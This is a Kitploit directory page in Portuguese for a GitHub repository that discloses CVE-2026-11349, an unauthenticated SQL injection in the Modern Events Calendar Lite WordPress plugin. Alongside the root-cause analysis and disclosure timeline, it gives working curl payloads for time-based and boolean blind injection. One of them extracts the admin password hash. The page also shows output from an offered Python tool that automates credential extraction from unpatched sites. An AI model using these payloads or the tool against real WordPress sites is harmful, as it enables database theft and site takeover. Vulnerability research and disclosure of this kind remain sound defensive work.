Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — Injeção SQL Não Autenticada | Kitploit
Ferramentas/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoSegurança de Banco de Dados
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — Injeção SQL Não Autenticada

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Modern Events Calendar Lite <= 7.33.0 — Injeção SQL não autenticada via mec_list_load_more (atts[include] / atts[exclude])

Resumo

DetalheValor
PluginModern Events Calendar Lite
Slugmodern-events-calendar-lite
AutorWebnus
Versões afetadas<= 7.33.0 (a versão Lite atual distribuída pelo fornecedor). O bug está presente em toda a faixa pós-w.org; confirmado em laboratório nas versões 6.5.6 e 7.33.0, confirmado estaticamente na 5.21.2. 6.5.6 = último build do wordpress.org (congelado no fechamento de 2022-05-11); 7.33.0 = build atual distribuído a partir de mec.webnus.net
Instalações ativascontagem no wordpress.org ocultada desde o fechamento; historicamente 100,000+. Ainda distribuído/atualizado ativamente pelo fornecedor (Lite via mec.webnus.net; o mesmo código 7.x serve de base para o MEC Pro, vendido ativamente)
CWECWE-89 (Injeção SQL)
VulnerabilidadeInjeção SQL cega não autenticada (baseada em tempo / booleana / baseada em erro)
Privilégio necessárioNenhum (wp_ajax_nopriv_* — pré-autenticação)
Interação do usuárioNenhuma
CVSS v3.17.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
StatusVerificado em laboratório de ponta a ponta na 7.33.0 (atual) e 6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

Descrição

O Modern Events Calendar Lite regista uma família de ações "load more" não autenticadas em admin-ajax.php para seus skins de listagem de eventos (list, grid, masonry, agenda, timeline, tile, custom). Cada handler lê o array atts da requisição, controlado pelo atacante, e o passa por um helper chamado sanitize_deep_array() que — quando chamado com seus argumentos padrão — não realiza nenhuma sanitização — e depois concatena os valores de atts['include'] (e atts['exclude']) crus em um fragmento SQL post_id IN (...) que é executado com $wpdb->get_results() e sem $wpdb->prepare().

Como os pontos de entrada são registrados em wp_ajax_nopriv_*, não é necessária autenticação, conta, nonce ou interação do usuário. Um atacante remoto não autenticado pode injetar SQL arbitrário na cláusula WHERE de um SELECT contra wp_mec_dates e ler qualquer dado no banco de dados do WordPress (hashes de senha de usuários, segredos/chaves de wp_options, dados de outros plugins) por meio de técnicas cegas baseadas em tempo / booleanas / baseadas em erro.


Causa raiz

1. Um "sanitizador" que não sanitiza nada no caminho padrão

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, no sanitization
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
    }
    return $sanitized;
}

A guarda (is_array($excludes) and !count($excludes)) faz com que a função seja uma operação nula completa quando $excludes é o array vazio padrão — cada valor é copiado literalmente. A intenção era evidentemente "se houver uma lista de exclusão, pule essas chaves"; a lógica booleana, em vez disso, pula tudo sempre que nenhuma lista de exclusão é fornecida.

2. O chamador não fornece $excludes

app/skins/list.php:499-501 (load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

sanitize_deep_array($_REQUEST['atts']) é chamado com um único argumento → $excludes assume o padrão array() → o ramo de operação nula acima → $atts é o $_REQUEST['atts'] cru e não confiável.

3. Concatenação crua na cláusula IN (...)

app/libraries/skins.php:

root@kitploit:~
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

Os elementos do array são passados por implode() diretamente para a string SQL, sem cast para inteiro e sem escape. (absint()/(int) em cada elemento teria corrigido isso.)

4. Execução sem prepared statement

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // only swaps `#__` for the table prefix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — no prepare()
    // ...
}

A string totalmente montada é entregue a $wpdb->get_results() literalmente.

Fluxo de taint (requisição → sink):

root@kitploit:~
$_REQUEST['atts']                                       (attacker-controlled, unauthenticated)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: default empty $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = raw atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (no prepare)

Alcance

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- unauthenticated

O registro nopriv torna o endpoint acessível antes da autenticação. O mesmo formato de load_more() e o construtor de consultas compartilhado skins.php estão presentes nos skins irmãos, cada um com sua própria ação wp_ajax_nopriv_*, portanto a mesma injeção é alcançável por qualquer um deles:

Ação AJAX (nopriv)Handler do skin
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

Nenhum nonce é verificado em load_more(), e a ação não exige que qualquer shortcode do plugin esteja presente em uma página — os handlers AJAX são registrados incondicionalmente no init.


Prova de Conceito (verificada em laboratório, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

Todas as requisições são não autenticadas (sem cookie, sem nonce). O valor injetado é colocado em atts[include][]; o payload fecha os dois parênteses abertos do grupo IN ((...) AND (... IN ( e acrescenta um OR <sleep> de nível superior para que a condição seja avaliada para cada linha varrida e, em seguida, comenta o )) ORDER BY ... final:

root@kitploit:~
TARGET='https://victim.example'          # plain permalinks: use admin-ajax.php directly

# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) executed

# 3) Boolean oracle (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: admin hash begins with '$' (phpass)

A consulta exata executada (capturada de WP_DEBUG_LOG) para um canário de erro atts[include][]=0)MEC_SQLI_CANARY foi:

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— o token literal MEC_SQLI_CANARY aparece literalmente na instrução executada, confirmando a concatenação crua. O parâmetro atts[exclude][] (skins.php:803 / 603, NOT IN) é injetável da mesma forma (confirmado em laboratório: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). A mesma consulta e injeção foram reproduzidas na 7.33.0 (build atual) — mesmo canário, mesmo comportamento de SLEEP.

PoC automatizado

mec-unauth-sqli-poc.py (incluído) é totalmente autossuficiente e não exige credenciais: ele confirma a injeção (baseline vs. SLEEP) e, em seguida, realiza extração cega baseada em tempo de dados arbitrários (padrão: @@version, usuário do banco e o user_login:user_pass do primeiro admin). Ele valida cada resposta (HTTP 200) e espaça as requisições com --delay + back-off para sobreviver a WAF/rate-limiting (ex.: mod_evasive). Nenhum dado é modificado (contexto SELECT somente leitura).

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

Impacto

Acesso de leitura total ao banco de dados, não autenticado e alcançável pela rede: hashes de senha de wp_users, wp_options (auth_key, segredos de API, tokens) e qualquer outra tabela. Na prática, isso encadeia para uma tomada completa do site (quebra de hash offline, roubo de segredos/sessões). O impacto na integridade é limitado — a injeção é executada em um SELECT via $wpdb->get_results(), que não permite consultas empilhadas — daí I:N. SLEEP/BENCHMARK pesados podem degradar a disponibilidade, mas o impacto principal, demonstrado de forma confiável, é a confidencialidade (C:H), resultando em CVSS 7.5.


Arquivos afetados

Os números de linha são fornecidos para a 7.33.0 (atual), com a 6.5.6 entre parênteses; o código é idêntico em toda a faixa.

ArquivoLinha (7.33.0 / 6.5.6)Problema
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array() é uma operação nula quando $excludes é o array vazio padrão (a guarda !count($excludes))
app/skins/list.php535 / 501atts lido de $_REQUEST e passado para sanitize_deep_array() sem $excludes (em load_more(), 532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → ponto de entrada não autenticado
app/libraries/skins.php806 / 603-606array include / exclude passado por implode() cru para post_id IN (...) / NOT IN (...) (exclude em 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select() executa $wpdb->get_results() sem prepare()

Os skins irmãos (grid, masonry, agenda, timeline, tile, custom) compartilham o mesmo load_more() + construtor de consultas skins.php e cada um registra uma ação wp_ajax_nopriv_* → mesmo bug, múltiplos pontos de entrada.


Distinção em relação a CVEs anteriores de injeção SQL do Modern Events Calendar

Este é um ponto de injeção distinto e anteriormente não relatado. Toda injeção SQL do MEC documentada publicamente tem como alvo uma ação e um parâmetro AJAX diferentes, e todas foram corrigidas em versões posteriores a esta descoberta (confirmado em laboratório como ativa na 7.33.0):

ReferênciaAutenticaçãoAção AJAXParâmetroCorrigido em
CVE-2021-24946Não autenticadomec_load_single_pagetime6.1.5
CVE-2021-4458Não autenticado (somente se o addslashes/escape de entrada estiver desativado)mec_load_single_pageid6.4.0
CVE-2021-24149Autenticado (autor+/assinante)mec_fes_formmec[post_id]5.16.6
Este relatórioNão autenticado (sem pré-condição)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]não corrigido (≤ 7.33.0)
  • Caminho de código diferente. Os problemas anteriores não autenticados estão no handler de evento único mec_load_single_page; este está na paginação "load more" do skin (load_more() → MEC_skin::initialize() → construtor post_id IN (...) de app/libraries/skins.php), alcançado por meio do ramo padrão de operação nula de sanitize_deep_array(). Os patches de mec_load_single_page não tocam em skins.php.
  • Sem pré-condição de configuração. A CVE-2021-4458 (id) era explorável somente com o escape de entrada do PHP/WordPress desativado (um estado não padrão), porque esse valor está em um contexto entre aspas. Aqui, os valores de atts[include]/atts[exclude] caem em um contexto numérico sem aspas IN(...) e são explorados com parênteses + palavras-chave SQL (0)) OR SLEEP(3)#), que o wp_magic_quotes() não neutraliza. Portanto, é explorável em uma instalação padrão do WordPress — confirmado em laboratório em WP 7.0 padrão (magic quotes ativado).
  • Sobrevive a todas as correções anteriores. Confirmado em funcionamento na 7.33.0 — quatro anos e uma versão principal depois do último patch de mec_load_single_page (6.4.0).

Divulgação / nota de escopo

O Modern Events Calendar Lite foi removido do wordpress.org em 2022-05-11 ("Motivo: Violação de Diretriz"), portanto o build do wordpress.org está congelado na 6.5.6. Isso não significa que o plugin foi abandonado — a Webnus continuou o desenvolvimento fora da plataforma: o build Lite atual distribuído a partir de mec.webnus.net é o 7.33.0, e o caminho de código vulnerável é byte por byte o mesmo lá (confirmado em laboratório; a SQLi dispara de forma idêntica na 7.33.0). O bug, portanto, afeta todas as versões na faixa pós-remoção, não apenas a cópia congelada do wordpress.org.

Implicações de encaminhamento (a objeção de "fechado no wordpress.org" é muito mais fraca do que parece à primeira vista):

  • É um produto atual, distribuído pelo fornecedor e com suporte, não código abandonado — uma divulgação coordenada para a Webnus é o canal principal; eles publicam atualizações ativamente e devem corrigir.
  • O MEC Pro (vendido ativamente; 7.x atual) é construído sobre essa mesma base de código 7.x. app/libraries/skins.php, app/libraries/main.php e app/libraries/db.php são bibliotecas centrais compartilhadas, portanto o Pro é quase certamente afetado. Isso deve ser confirmado contra o código-fonte do Pro antes de afirmá-lo formalmente, mas a arquitetura de bibliotecas compartilhadas torna isso muito provável. Um impacto confirmado no Pro torna a descoberta inequivocamente dentro do escopo da Patchstack (um componente vendido publicamente) e digna de uma CVE MITRE/Patchstack, independentemente do status no diretório do wordpress.org.
  • Para consumidores que condicionam sua ação especificamente à listagem no wordpress.org (alguns critérios de recompensa da Wordfence; a exclusão de "componente fechado" da Patchstack aplicada ao build gratuito do Lite), cite o impacto da 7.33.0 distribuída pelo fornecedor + Pro, em vez da 6.5.6 congelada.

Uma CVE é justificada pelos méritos: injeção SQL não autenticada, alcançável pela rede, com leitura total do banco de dados, em um produto atual distribuído pelo fornecedor e com uma base histórica de instalações de seis dígitos.


Linha do tempo

DataEvento
2026-06-03Descoberta durante revisão automatizada de plugins; verificada de ponta a ponta (não autenticada) no MEC Lite 6.5.6 (build congelado no wordpress.org)
2026-06-04Re-verificada de ponta a ponta na 7.33.0 (Lite atual distribuído pelo fornecedor a partir de mec.webnus.net); confirmado que código/injeção são idênticos — a descoberta é atual, não um artefato da versão removida
2026-06-04Notificação ao fornecedor (Webnus) + solicitação de CVE à WPScan; confirmar se o MEC Pro compartilha o caminho
2026-06-05Vulnerabilidade verificada e CVE atribuída
Baixar ferramenta